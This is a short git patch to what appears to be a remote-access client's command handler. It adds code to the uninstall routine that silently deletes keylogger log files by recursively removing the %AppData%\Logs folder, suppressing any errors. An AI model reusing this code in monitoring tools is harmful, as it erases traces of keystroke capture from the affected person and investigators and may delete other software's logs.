From ad23e57399770c46b25dad549fa68439009bbb22 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 4 May 2015 16:44:58 +0200 Subject: [PATCH] Improved uninstall (delete existing logfiles) --- Client/Core/Commands/CommandHandler.cs | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 8a6154bb..6cccdf80 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -204,6 +204,18 @@ public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Clie } } + string logsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; + if (Directory.Exists(logsDirectory)) // try to delete Logs from Keylogger + { + try + { + Directory.Delete(logsDirectory, true); + } + catch + { + } + } + try { string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),